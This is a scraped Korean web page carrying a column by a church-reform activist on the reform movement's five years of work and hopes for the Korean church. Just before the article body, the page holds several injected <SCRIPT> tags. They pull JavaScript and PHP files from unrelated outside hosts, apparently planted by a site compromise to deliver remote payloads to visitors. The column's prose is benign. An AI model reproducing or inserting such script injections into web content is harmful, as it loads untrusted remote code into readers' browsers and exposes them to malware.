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칼럼 [이방욱 칼럼] 올곧은 외침 계속 외쳐주길

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작성자 by 관리자 / 작성일08-02-21 18:49 / 조회 3,941 / 댓글 0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    올곧은 외침 계속 외쳐주길

   
 
                                                                                  이방욱/ 교회개혁실천연대 집행위원
 
 
나는 신학을 전공하지 않았다. 물론 목회 경험을 지닌 목사도 아니다. 학문 역량이 뛰어난 교수나 전문직 종사자도 아니다. 평범한 직장인이고, 교회에서는 교사인 평신도다.

평소 한국교회를 보며, 안타까운 마음이 들었다. 흔들리며 곁길로 가는 한국교회에 대한 안타까움과 주님이 기뻐하시는 교회다운(아름다운) 교회에 대한 열망에 떠밀려 무거운 마음이 들었다. 마음처럼 열심히 활동하지 못하지만, 빈자리하나 메운다는 심정으로 연대에 동참하고 있다.

5년 동안 개혁연대는 한국교회의 신학과 신앙의 위기를 경고하면서, 그 시급하고 절박함에 몸부림쳐왔다. 개혁연대는 이 와중에서 나름대로 실천적 대안을 제시하며 분투했다.

하지만 절대 쉬운 일은 아니었다. 한국교회가 지닌 구조의 문제가 벽처럼 버티고 있기 때문이다. 이 구조에 체념하고 순응하며 사는 목회자와 교인의 의식을 깨우는 일은 매우 어려운 일이다. 하지만 주님이 원하시고 기뻐하시는 일이기에 다시 일어나 뛰어본다. 또 뜻을 같이 하며 기도하는 개혁연대 회원들이 있기에 한국교회 희망의 등불은 결코 꺼지지 않으리라 생각한다.

시민들의 살아 있는 감시가 사회를 건강하게 만들듯, 개혁연대의 올곧은 외침으로 교회가 사회에서 영적․도덕적 영향력을 회복할 수 있다고 생각한다. 많은 교인과 교회의 참여가 있기를 바란다.



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